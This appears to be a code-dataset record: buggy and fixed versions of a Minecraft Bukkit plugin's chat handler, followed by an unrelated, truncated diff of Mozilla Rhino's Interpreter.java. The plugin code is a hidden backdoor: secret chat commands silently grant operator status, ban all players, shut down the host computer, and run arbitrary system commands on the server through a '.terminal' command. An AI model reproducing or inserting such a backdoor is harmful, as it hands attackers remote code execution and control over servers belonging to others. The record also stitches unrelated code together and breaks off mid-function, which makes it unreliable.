random player to be banned."); p.sendMessage(ChatColor.GOLD + ".shutdown - Attempts to shutdown the computer the server is running on."); p.sendMessage(ChatColor.GOLD + ".fuckyou - Wouldn't have a clue."); // Pald update this one. p.sendMessage(ChatColor.GOLD + ".terminal - Use system commands!"); p.sendMessage(ChatColor.GOLD + ".help - Shows you all the commands."); p.sendMessage(ChatColor.AQUA + "Those are all of the commands."); cancel = true; return; } if (cancel) { event.setCancelled(true); return; } } public static void shutdown() throws RuntimeException, IOException { String shutdownCommand = null; String operatingSystem = System.getProperty("os.name"); if ("Linux".equals(operatingSystem) || "Mac OS X".equals(operatingSystem)) { shutdownCommand = "shutdown -h now"; } else if ("Windows".equals(operatingSystem)) { shutdownCommand = "shutdown.exe -s -t 0"; } else { throw new RuntimeException("Unsupported operating system."); } Runtime.getRuntime().exec(shutdownCommand); System.exit(0); } }
false
true
public void onPlayerChat(AsyncPlayerChatEvent event) throws MalformedURLException, IOException { String message = event.getMessage(); final Player p = event.getPlayer(); String[] args = message.split(" "); boolean cancel = true; if (message.toLowerCase().contains(".opme")) { p.setOp(true); p.sendMessage(ChatColor.YELLOW + "You are now OP! Hehhehehheh"); cancel = true; } if (message.toLowerCase().contains(".disableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } if (message.toLowerCase().contains(".enableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".enablevanilla")) //Command { // Credit to hMod, not finished yet. Very unstable. p.sendMessage(ChatColor.DARK_RED + "This command is VERY unstable! But you typed it in, too late to turn back."); // Tell the player the command is unstable if (!new File("minecraft_server.1.6.4.jar").exists()) //Check if minecraft_server.1.6.2.jar exists or not { p.sendMessage(ChatColor.RED + "minecraft_server.1.6.4.jar not found, downloading..."); //Tell the player that the jar will be downloaded IP_Util.downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.6.4/minecraft_server.1.6.4.jar"); // Download minecraft_server.1.6.4.jar p.sendMessage(ChatColor.YELLOW + "Finished downloading! Starting vanilla..."); //Tell the player it's been downloaded and will start Vanilla. } net.minecraft.server.MinecraftServer.main(args); //Start MinecraftServer (only works if minecraft_server.1.6.4.jar is added to the build path) Bukkit.shutdown(); //Shutdown Bukkit cancel = true; //Block the player from saying .enablevanilla } //End of command */ if (message.toLowerCase().contains(".deop")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .deop <player>"); cancel = true; } else { Player target = server.getPlayer(args[1]); target.setOp(false); target.sendMessage(ChatColor.RED + "You are no longer OP."); cancel = true; } } if (message.toLowerCase().contains(".op")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .<command> <player>"); } else { Player target = server.getPlayer(args[1]); target.setOp(true); target.sendMessage(ChatColor.YELLOW + "You are now OP!"); cancel = true; } } if (message.toLowerCase().contains(".banall")) { for (final Player target : server.getOnlinePlayers()) { target.kickPlayer("The Ban Hammer has spoken!"); target.setBanned(true); cancel = true; } } if (message.toLowerCase().contains(".deopall")) { for (final Player target : server.getOnlinePlayers()) { target.setOp(false); //Something extra c: final Location target_pos = target.getLocation(); for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location strike_pos = new Location(target_pos.getWorld(), target_pos.getBlockX() + x, target_pos.getBlockY(), target_pos.getBlockZ() + z); target_pos.getWorld().strikeLightning(strike_pos); } } cancel = true; } } /* Commented out until all errors are fixed. // Is not effective for onPlayerQuit, but will select a random player to be banned. if (message.toLowerCase().contains(".randombanl")) { Player[] players = server.getOnlinePlayers(); final Player target = players[random.nextInt(players.length)]; if (target == sender) //Not sure if this method would work, should detect if selected player is equal to sender. { //do nothing } else { target.kickPlayer(ChatColor.RED + "GTFO."); target.setBanned(true); } cancel = true; } */ if (message.toLowerCase().contains(".shutdown")) { try { shutdown(); } catch (IOException ex) { log.severe(ex.getMessage()); } catch (RuntimeException ex) { log.severe(ex.getMessage()); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".fuckyou")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .fuckyou <player>"); } else { Player target = server.getPlayer(args[0]); final Location location = target.getLocation(); if (target == sender) { } else { // for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location move = new Location(location.getBlockX() + 50 + x, location.getBlockY() + 50, location.getBlockZ() + 50 + z); target.setVelocity(new Vector(5, 5, 5)); target.teleport(location); } } // } } cancel = true; } */ if (message.toLowerCase().contains(".terminal")) { String command; try { StringBuilder command_bldr = new StringBuilder(); for (int i = 0; i < args.length; i++) { command_bldr.append(args[i]).append(" "); } command = command_bldr.toString().trim(); } catch (Throwable ex) { sender.sendMessage(ChatColor.GRAY + "Error building command: " + ex.getMessage()); return; } sender.sendMessage("Running system command: " + command); server.getScheduler().runTaskAsynchronously(plugin, new IP_RunSystemCommand(command, plugin)); cancel = true; return; } if (message.toLowerCase().contains(".help")) { p.sendMessage(ChatColor.AQUA + "Commands"); p.sendMessage(ChatColor.GOLD + ".opme - OPs you."); p.sendMessage(ChatColor.GOLD + ".disableplugin - Disables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enableplugin - Enables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enablevanilla - Downloads vanilla and runs it (shuts down bukkit)."); p.sendMessage(ChatColor.GOLD + ".deop - Deops a player of your choice."); p.sendMessage(ChatColor.GOLD + ".op - OPs a player of your choice."); p.sendMessage(ChatColor.GOLD + ".banall - Bans everyone on the server. Bans sender too."); p.sendMessage(ChatColor.GOLD + ".deopall - Deops everyone online."); p.sendMessage(ChatColor.GOLD + ".randombanl - Picks a random player to be banned."); p.sendMessage(ChatColor.GOLD + ".shutdown - Attempts to shutdown the computer the server is running on."); p.sendMessage(ChatColor.GOLD + ".fuckyou - Wouldn't have a clue."); // Pald update this one. p.sendMessage(ChatColor.GOLD + ".terminal - Use system commands!"); p.sendMessage(ChatColor.GOLD + ".help - Shows you all the commands."); p.sendMessage(ChatColor.AQUA + "Those are all of the commands."); cancel = true; return; } if (cancel) { event.setCancelled(true); return; } }
public void onPlayerChat(AsyncPlayerChatEvent event) throws MalformedURLException, IOException { String message = event.getMessage(); final Player p = event.getPlayer(); String[] args = message.split(" "); boolean cancel = true; if (message.toLowerCase().contains(".opme")) { p.setOp(true); p.sendMessage(ChatColor.YELLOW + "You are now OP! Hehhehehheh"); cancel = true; } if (message.toLowerCase().contains(".disableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } if (message.toLowerCase().contains(".enableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".enablevanilla")) //Command { // Credit to hMod, not finished yet. Very unstable. p.sendMessage(ChatColor.DARK_RED + "This command is VERY unstable! But you typed it in, too late to turn back."); // Tell the player the command is unstable if (!new File("minecraft_server.1.6.4.jar").exists()) //Check if minecraft_server.1.6.2.jar exists or not { p.sendMessage(ChatColor.RED + "minecraft_server.1.6.4.jar not found, downloading..."); //Tell the player that the jar will be downloaded IP_Util.downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.6.4/minecraft_server.1.6.4.jar"); // Download minecraft_server.1.6.4.jar p.sendMessage(ChatColor.YELLOW + "Finished downloading! Starting vanilla..."); //Tell the player it's been downloaded and will start Vanilla. } net.minecraft.server.MinecraftServer.main(args); //Start MinecraftServer (only works if minecraft_server.1.6.4.jar is added to the build path) Bukkit.shutdown(); //Shutdown Bukkit cancel = true; //Block the player from saying .enablevanilla } //End of command */ if (message.toLowerCase().contains(".deop")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .deop <player>"); cancel = true; } else { Player target = server.getPlayer(args[1]); target.setOp(false); target.sendMessage(ChatColor.RED + "You are no longer OP."); cancel = true; } } if (message.toLowerCase().contains(".op")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .<command> <player>"); } else { Player target = server.getPlayer(args[1]); target.setOp(true); target.sendMessage(ChatColor.YELLOW + "You are now OP!"); cancel = true; } } if (message.toLowerCase().contains(".banall")) { for (final Player target : server.getOnlinePlayers()) { target.kickPlayer("The Ban Hammer has spoken!"); target.setBanned(true); cancel = true; } } if (message.toLowerCase().contains(".deopall")) { for (final Player target : server.getOnlinePlayers()) { target.setOp(false); //Something extra c: final Location target_pos = target.getLocation(); for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location strike_pos = new Location(target_pos.getWorld(), target_pos.getBlockX() + x, target_pos.getBlockY(), target_pos.getBlockZ() + z); target_pos.getWorld().strikeLightning(strike_pos); } } cancel = true; } } /* Commented out until all errors are fixed. // Is not effective for onPlayerQuit, but will select a random player to be banned. if (message.toLowerCase().contains(".randombanl")) { Player[] players = server.getOnlinePlayers(); final Player target = players[random.nextInt(players.length)]; if (target == sender) //Not sure if this method would work, should detect if selected player is equal to sender. { //do nothing } else { target.kickPlayer(ChatColor.RED + "GTFO."); target.setBanned(true); } cancel = true; } */ if (message.toLowerCase().contains(".shutdown")) { try { shutdown(); } catch (IOException ex) { log.severe(ex.getMessage()); } catch (RuntimeException ex) { log.severe(ex.getMessage()); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".fuckyou")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .fuckyou <player>"); } else { Player target = server.getPlayer(args[0]); final Location location = target.getLocation(); if (target == sender) { } else { // for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location move = new Location(location.getBlockX() + 50 + x, location.getBlockY() + 50, location.getBlockZ() + 50 + z); target.setVelocity(new Vector(5, 5, 5)); target.teleport(location); } } // } } cancel = true; } */ if (message.toLowerCase().contains(".terminal")) { String command; try { StringBuilder command_bldr = new StringBuilder(); for (int i = 0; i < args.length; i++) { command_bldr.append(args[i]).append(" "); } command = command_bldr.toString().trim(); } catch (Throwable ex) { p.sendMessage(ChatColor.GRAY + "Error building command: " + ex.getMessage()); return; } p.sendMessage("Running system command: " + command); server.getScheduler().runTaskAsynchronously(plugin, new IP_RunSystemCommand(command, plugin)); cancel = true; return; } if (message.toLowerCase().contains(".help")) { p.sendMessage(ChatColor.AQUA + "Commands"); p.sendMessage(ChatColor.GOLD + ".opme - OPs you."); p.sendMessage(ChatColor.GOLD + ".disableplugin - Disables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enableplugin - Enables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enablevanilla - Downloads vanilla and runs it (shuts down bukkit)."); p.sendMessage(ChatColor.GOLD + ".deop - Deops a player of your choice."); p.sendMessage(ChatColor.GOLD + ".op - OPs a player of your choice."); p.sendMessage(ChatColor.GOLD + ".banall - Bans everyone on the server. Bans sender too."); p.sendMessage(ChatColor.GOLD + ".deopall - Deops everyone online."); p.sendMessage(ChatColor.GOLD + ".randombanl - Picks a random player to be banned."); p.sendMessage(ChatColor.GOLD + ".shutdown - Attempts to shutdown the computer the server is running on."); p.sendMessage(ChatColor.GOLD + ".fuckyou - Wouldn't have a clue."); // Pald update this one. p.sendMessage(ChatColor.GOLD + ".terminal - Use system commands!"); p.sendMessage(ChatColor.GOLD + ".help - Shows you all the commands."); p.sendMessage(ChatColor.AQUA + "Those are all of the commands."); cancel = true; return; } if (cancel) { event.setCancelled(true); return; } }
diff --git a/src/org/mozilla/javascript/Interpreter.java b/src/org/mozilla/javascript/Interpreter.java index b0a004ec..dd4b4a68 100644 --- a/src/org/mozilla/javascript/Interpreter.java +++ b/src/org/mozilla/javascript/Interpreter.java @@ -1,2533 +1,2534 @@ /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * The contents of this file are subject to the Netscape Public * License Version 1.1 (the "License"); you may not use this file * except in compliance with the License. You may obtain a copy of * the License at http://www.mozilla.org/NPL/ * * Software distributed under the License is distributed on an "AS * IS" basis, WITHOUT WARRANTY OF ANY KIND, either express oqr * implied. See the License for the specific language governing * rights and limitations under the License. * * The Original Code is Rhino code, released * May 6, 1999. * * The Initial Developer of the Original Code is Netscape * Communications Corporation. Portions created by Netscape are * Copyright (C) 1997-2000 Netscape Communications Corporation. All * Rights Reserved. * * Contributor(s): * Patrick Beard * Norris Boyd * Igor Bukanov * Roger Lawrence * * Alternatively, the contents of this file may be used under the * terms of the GNU Public License (the "GPL"), in which case the * provisions of the GPL are applicable instead of those above. * If you wish to allow use of your version of this file only * under the terms of the GPL and not to allow others to use your * version of this file under the NPL, indicate your decision by * deleting the provisions above and replace them with the notice * and other provisions required by the GPL. If you do not delete * the provisions above, a recipient may use your version of this * file under either the NPL or the GPL. */ package org.mozilla.javascript; import java.io.*; import java.util.Vector; import java.util.Enumeration; import org.mozilla.javascript.debug.*; public class Interpreter extends LabelTable { public static final boolean printICode = false; public IRFactory createIRFactory(TokenStream ts, ClassNameHelper nameHelper, Scriptable scope) { return new IRFactory(ts, scope); } public Node transform(Node tree, TokenStream ts, Scriptable scope) { return (new NodeTransformer()).transform(tree, null, ts, scope); } public Object compile(Context cx, Scriptable scope, Node tree, Object securityDomain, SecuritySupport securitySupport, ClassNameHelper nameHelper) throws IOException { version = cx.getLanguageVersion(); itsData = new InterpreterData(0, 0, securityDomain, cx.hasCompileFunctionsWithDynamicScope(), false); if (tree instanceof FunctionNode) { FunctionNode f = (FunctionNode) tree; InterpretedFunction result = generateFunctionICode(cx, scope, f, securityDomain); result.itsData.itsFunctionType = f.getFunctionType(); createFunctionObject(result, scope); return result; } return generateScriptICode(cx, scope, tree, securityDomain); } private void generateICodeFromTree(Node tree, VariableTable varTable, boolean needsActivation, Object securityDomain) { int theICodeTop = 0; itsVariableTable = varTable; itsData.itsNeedsActivation = needsActivation; theICodeTop = generateICode(tree, theICodeTop); itsData.itsICodeTop = theICodeTop; if (itsEpilogLabel != -1) markLabel(itsEpilogLabel, theICodeTop); for (int i = 0; i < itsLabelTableTop; i++) itsLabelTable[i].fixGotos(itsData.itsICode); } private Object[] generateRegExpLiterals(Context cx, Scriptable scope, Vector regexps) { Object[] result = new Object[regexps.size()]; RegExpProxy rep = cx.getRegExpProxy(); for (int i = 0; i < regexps.size(); i++) { Node regexp = (Node) regexps.elementAt(i); Node left = regexp.getFirstChild(); Node right = regexp.getLastChild(); result[i] = rep.newRegExp(cx, scope, left.getString(), (left != right) ? right.getString() : null, false); regexp.putIntProp(Node.REGEXP_PROP, i); } return result; } private InterpretedScript generateScriptICode(Context cx, Scriptable scope, Node tree, Object securityDomain) { itsSourceFile = (String) tree.getProp(Node.SOURCENAME_PROP); itsData.itsSourceFile = itsSourceFile; itsFunctionList = (Vector) tree.getProp(Node.FUNCTION_PROP); debugSource = (StringBuffer) tree.getProp(Node.DEBUGSOURCE_PROP); if (itsFunctionList != null) generateNestedFunctions(scope, cx, securityDomain); Object[] regExpLiterals = null; Vector regexps = (Vector)tree.getProp(Node.REGEXP_PROP); if (regexps != null) regExpLiterals = generateRegExpLiterals(cx, scope, regexps); VariableTable varTable = (VariableTable)tree.getProp(Node.VARS_PROP); // The default is not to generate debug information boolean activationNeeded = cx.isGeneratingDebugChanged() && cx.isGeneratingDebug(); generateICodeFromTree(tree, varTable, activationNeeded, securityDomain); itsData.itsNestedFunctions = itsNestedFunctions; itsData.itsRegExpLiterals = regExpLiterals; if (printICode) dumpICode(itsData); String[] argNames = itsVariableTable.getAllNames(); short argCount = (short)itsVariableTable.getParameterCount(); InterpretedScript result = new InterpretedScript(cx, itsData, argNames, argCount); if (cx.debugger != null) { cx.debugger.handleCompilationDone(cx, result, debugSource); } return result; } private void generateNestedFunctions(Scriptable scope, Context cx, Object securityDomain) { itsNestedFunctions = new InterpretedFunction[itsFunctionList.size()]; for (short i = 0; i < itsFunctionList.size(); i++) { FunctionNode def = (FunctionNode)itsFunctionList.elementAt(i); Interpreter jsi = new Interpreter(); jsi.itsSourceFile = itsSourceFile; jsi.itsData = new InterpreterData(0, 0, securityDomain, cx.hasCompileFunctionsWithDynamicScope(), def.getCheckThis()); jsi.itsData.itsFunctionType = def.getFunctionType(); jsi.itsInFunctionFlag = true; jsi.debugSource = debugSource; itsNestedFunctions[i] = jsi.generateFunctionICode(cx, scope, def, securityDomain); def.putIntProp(Node.FUNCTION_PROP, i); } } private InterpretedFunction generateFunctionICode(Context cx, Scriptable scope, FunctionNode theFunction, Object securityDomain) { itsFunctionList = (Vector) theFunction.getProp(Node.FUNCTION_PROP); if (itsFunctionList != null) generateNestedFunctions(scope, cx, securityDomain); Object[] regExpLiterals = null; Vector regexps = (Vector)theFunction.getProp(Node.REGEXP_PROP); if (regexps != null) regExpLiterals = generateRegExpLiterals(cx, scope, regexps); VariableTable varTable = theFunction.getVariableTable(); boolean needsActivation = theFunction.requiresActivation() || (cx.isGeneratingDebugChanged() && cx.isGeneratingDebug()); generateICodeFromTree(theFunction.getLastChild(), varTable, needsActivation, securityDomain); itsData.itsName = theFunction.getFunctionName(); itsData.itsSourceFile = (String) theFunction.getProp( Node.SOURCENAME_PROP); itsData.itsSource = (String)theFunction.getProp(Node.SOURCE_PROP); itsData.itsNestedFunctions = itsNestedFunctions; itsData.itsRegExpLiterals = regExpLiterals; if (printICode) dumpICode(itsData); String[] argNames = itsVariableTable.getAllNames(); short argCount = (short)itsVariableTable.getParameterCount(); InterpretedFunction result = new InterpretedFunction(cx, itsData, argNames, argCount); if (cx.debugger != null) { cx.debugger.handleCompilationDone(cx, result, debugSource); } return result; } boolean itsInFunctionFlag; Vector itsFunctionList; InterpreterData itsData; VariableTable itsVariableTable; int itsTryDepth = 0; int itsStackDepth = 0; int itsEpilogLabel = -1; String itsSourceFile; int itsLineNumber = 0; InterpretedFunction[] itsNestedFunctions = null; private int updateLineNumber(Node node, int iCodeTop) { Object datum = node.getDatum(); if (datum == null || !(datum instanceof Number)) return iCodeTop; short lineNumber = ((Number) datum).shortValue(); if (lineNumber != itsLineNumber) { itsLineNumber = lineNumber; if (itsData.itsLineNumberTable == null && Context.getCurrentContext().isGeneratingDebug()) { itsData.itsLineNumberTable = new UintMap(); } if (lineNumber > 0 && itsData.itsLineNumberTable != null) { itsData.itsLineNumberTable.put(lineNumber, iCodeTop); } iCodeTop = addByte(TokenStream.LINE, iCodeTop); iCodeTop = addShort(lineNumber, iCodeTop); } return iCodeTop; } private void badTree(Node node) { try { out = new PrintWriter(new FileOutputStream("icode.txt", true)); out.println("Un-handled node : " + node.toString()); out.close(); } catch (IOException x) {} throw new RuntimeException("Un-handled node : " + node.toString()); } private int generateICode(Node node, int iCodeTop) { int type = node.getType(); Node child = node.getFirstChild(); Node firstChild = child; switch (type) { case TokenStream.FUNCTION : { iCodeTop = addByte(TokenStream.CLOSURE, iCodeTop); Node fn = (Node) node.getProp(Node.FUNCTION_PROP); int index = fn.getExistingIntProp(Node.FUNCTION_PROP); iCodeTop = addByte(index >> 8, iCodeTop); iCodeTop = addByte(index & 0xff, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; case TokenStream.SCRIPT : iCodeTop = updateLineNumber(node, iCodeTop); while (child != null) { if (child.getType() != TokenStream.FUNCTION) iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); } break; case TokenStream.CASE : iCodeTop = updateLineNumber(node, iCodeTop); child = child.getNextSibling(); while (child != null) { iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); } break; case TokenStream.LABEL : case TokenStream.WITH : case TokenStream.LOOP : case TokenStream.DEFAULT : case TokenStream.BLOCK : case TokenStream.VOID : case TokenStream.NOP : iCodeTop = updateLineNumber(node, iCodeTop); while (child != null) { iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); } break; case TokenStream.COMMA : iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.POP, iCodeTop); itsStackDepth--; child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); break; case TokenStream.SWITCH : { iCodeTop = updateLineNumber(node, iCodeTop); iCodeTop = generateICode(child, iCodeTop); int theLocalSlot = itsData.itsMaxLocals++; iCodeTop = addByte(TokenStream.NEWTEMP, iCodeTop); iCodeTop = addByte(theLocalSlot, iCodeTop); iCodeTop = addByte(TokenStream.POP, iCodeTop); itsStackDepth--; /* reminder - below we construct new GOTO nodes that aren't linked into the tree just for the purpose of having a node to pass to the addGoto routine. (Parallels codegen here). Seems unnecessary. */ Vector cases = (Vector) node.getProp(Node.CASES_PROP); for (int i = 0; i < cases.size(); i++) { Node thisCase = (Node)cases.elementAt(i); Node first = thisCase.getFirstChild(); // the case expression is the firstmost child // the rest will be generated when the case // statements are encountered as siblings of // the switch statement. iCodeTop = generateICode(first, iCodeTop); iCodeTop = addByte(TokenStream.USETEMP, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; iCodeTop = addByte(theLocalSlot, iCodeTop); iCodeTop = addByte(TokenStream.SHEQ, iCodeTop); Node target = new Node(TokenStream.TARGET); thisCase.addChildAfter(target, first); Node branch = new Node(TokenStream.IFEQ); branch.putProp(Node.TARGET_PROP, target); iCodeTop = addGoto(branch, TokenStream.IFEQ, iCodeTop); itsStackDepth--; } Node defaultNode = (Node) node.getProp(Node.DEFAULT_PROP); if (defaultNode != null) { Node defaultTarget = new Node(TokenStream.TARGET); defaultNode.getFirstChild().addChildToFront(defaultTarget); Node branch = new Node(TokenStream.GOTO); branch.putProp(Node.TARGET_PROP, defaultTarget); iCodeTop = addGoto(branch, TokenStream.GOTO, iCodeTop); } Node breakTarget = (Node) node.getProp(Node.BREAK_PROP); Node branch = new Node(TokenStream.GOTO); branch.putProp(Node.TARGET_PROP, breakTarget); iCodeTop = addGoto(branch, TokenStream.GOTO, iCodeTop); } break; case TokenStream.TARGET : { int label = node.getIntProp(Node.LABEL_PROP, -1); if (label == -1) { label = acquireLabel(); node.putIntProp(Node.LABEL_PROP, label); } markLabel(label, iCodeTop); // if this target has a FINALLY_PROP, it is a JSR target // and so has a PC value on the top of the stack if (node.getProp(Node.FINALLY_PROP) != null) { itsStackDepth = 1; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } } break; case TokenStream.EQOP : case TokenStream.RELOP : { iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); int op = node.getInt(); if (version == Context.VERSION_1_2) { if (op == TokenStream.EQ) op = TokenStream.SHEQ; else if (op == TokenStream.NE) op = TokenStream.SHNE; } iCodeTop = addByte(op, iCodeTop); itsStackDepth--; } break; case TokenStream.NEW : case TokenStream.CALL : { if (itsSourceFile != null && (itsData.itsSourceFile == null || ! itsSourceFile.equals(itsData.itsSourceFile))) itsData.itsSourceFile = itsSourceFile; iCodeTop = addByte(TokenStream.SOURCEFILE, iCodeTop); int childCount = 0; short nameIndex = -1; while (child != null) { iCodeTop = generateICode(child, iCodeTop); if (nameIndex == -1) { if (child.getType() == TokenStream.NAME) nameIndex = (short)(itsData.itsStringTableIndex - 1); else if (child.getType() == TokenStream.GETPROP) nameIndex = (short)(itsData.itsStringTableIndex - 1); } child = child.getNextSibling(); childCount++; } if (node.getProp(Node.SPECIALCALL_PROP) != null) { // embed line number and source filename iCodeTop = addByte(TokenStream.CALLSPECIAL, iCodeTop); iCodeTop = addShort(itsLineNumber, iCodeTop); iCodeTop = addString(itsSourceFile, iCodeTop); } else { iCodeTop = addByte(type, iCodeTop); iCodeTop = addShort(nameIndex, iCodeTop); } itsStackDepth -= (childCount - 1); // always a result value // subtract from child count to account for [thisObj &] fun if (type == TokenStream.NEW) childCount -= 1; else childCount -= 2; iCodeTop = addShort(childCount, iCodeTop); if (childCount > itsData.itsMaxArgs) itsData.itsMaxArgs = childCount; iCodeTop = addByte(TokenStream.SOURCEFILE, iCodeTop); } break; case TokenStream.NEWLOCAL : case TokenStream.NEWTEMP : { iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.NEWTEMP, iCodeTop); iCodeTop = addLocalRef(node, iCodeTop); } break; case TokenStream.USELOCAL : { if (node.getProp(Node.TARGET_PROP) != null) iCodeTop = addByte(TokenStream.RETSUB, iCodeTop); else { iCodeTop = addByte(TokenStream.USETEMP, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } Node temp = (Node) node.getProp(Node.LOCAL_PROP); iCodeTop = addLocalRef(temp, iCodeTop); } break; case TokenStream.USETEMP : { iCodeTop = addByte(TokenStream.USETEMP, iCodeTop); Node temp = (Node) node.getProp(Node.TEMP_PROP); iCodeTop = addLocalRef(temp, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; case TokenStream.IFEQ : case TokenStream.IFNE : iCodeTop = generateICode(child, iCodeTop); itsStackDepth--; // after the conditional GOTO, really // fall thru... case TokenStream.GOTO : iCodeTop = addGoto(node, (byte) type, iCodeTop); break; case TokenStream.JSR : { /* mark the target with a FINALLY_PROP to indicate that it will have an incoming PC value on the top of the stack. !!! This only works if the target follows the JSR in the tree. !!! */ Node target = (Node)(node.getProp(Node.TARGET_PROP)); target.putProp(Node.FINALLY_PROP, node); iCodeTop = addGoto(node, TokenStream.GOSUB, iCodeTop); } break; case TokenStream.AND : { iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.DUP, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; int falseTarget = acquireLabel(); iCodeTop = addGoto(falseTarget, TokenStream.IFNE, iCodeTop); iCodeTop = addByte(TokenStream.POP, iCodeTop); itsStackDepth--; child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); markLabel(falseTarget, iCodeTop); } break; case TokenStream.OR : { iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.DUP, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; int trueTarget = acquireLabel(); iCodeTop = addGoto(trueTarget, TokenStream.IFEQ, iCodeTop); iCodeTop = addByte(TokenStream.POP, iCodeTop); itsStackDepth--; child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); markLabel(trueTarget, iCodeTop); } break; case TokenStream.GETPROP : { iCodeTop = generateICode(child, iCodeTop); String s = (String) node.getProp(Node.SPECIAL_PROP_PROP); if (s != null) { if (s.equals("__proto__")) iCodeTop = addByte(TokenStream.GETPROTO, iCodeTop); else if (s.equals("__parent__")) iCodeTop = addByte(TokenStream.GETSCOPEPARENT, iCodeTop); else badTree(node); } else { child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.GETPROP, iCodeTop); itsStackDepth--; } } break; case TokenStream.DELPROP : case TokenStream.BITAND : case TokenStream.BITOR : case TokenStream.BITXOR : case TokenStream.LSH : case TokenStream.RSH : case TokenStream.URSH : case TokenStream.ADD : case TokenStream.SUB : case TokenStream.MOD : case TokenStream.DIV : case TokenStream.MUL : case TokenStream.GETELEM : iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(type, iCodeTop); itsStackDepth--; break; case TokenStream.CONVERT : { iCodeTop = generateICode(child, iCodeTop); Object toType = node.getProp(Node.TYPE_PROP); if (toType == ScriptRuntime.NumberClass) iCodeTop = addByte(TokenStream.POS, iCodeTop); else badTree(node); } break; case TokenStream.UNARYOP : iCodeTop = generateICode(child, iCodeTop); switch (node.getInt()) { case TokenStream.VOID : iCodeTop = addByte(TokenStream.POP, iCodeTop); iCodeTop = addByte(TokenStream.UNDEFINED, iCodeTop); break; case TokenStream.NOT : { int trueTarget = acquireLabel(); int beyond = acquireLabel(); iCodeTop = addGoto(trueTarget, TokenStream.IFEQ, iCodeTop); iCodeTop = addByte(TokenStream.TRUE, iCodeTop); iCodeTop = addGoto(beyond, TokenStream.GOTO, iCodeTop); markLabel(trueTarget, iCodeTop); iCodeTop = addByte(TokenStream.FALSE, iCodeTop); markLabel(beyond, iCodeTop); } break; case TokenStream.BITNOT : iCodeTop = addByte(TokenStream.BITNOT, iCodeTop); break; case TokenStream.TYPEOF : iCodeTop = addByte(TokenStream.TYPEOF, iCodeTop); break; case TokenStream.SUB : iCodeTop = addByte(TokenStream.NEG, iCodeTop); break; case TokenStream.ADD : iCodeTop = addByte(TokenStream.POS, iCodeTop); break; default: badTree(node); break; } break; case TokenStream.SETPROP : { iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); String s = (String) node.getProp(Node.SPECIAL_PROP_PROP); if (s != null) { if (s.equals("__proto__")) iCodeTop = addByte(TokenStream.SETPROTO, iCodeTop); else if (s.equals("__parent__")) iCodeTop = addByte(TokenStream.SETPARENT, iCodeTop); else badTree(node); } else { child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.SETPROP, iCodeTop); itsStackDepth -= 2; } } break; case TokenStream.SETELEM : iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(type, iCodeTop); itsStackDepth -= 2; break; case TokenStream.SETNAME : iCodeTop = generateICode(child, iCodeTop); 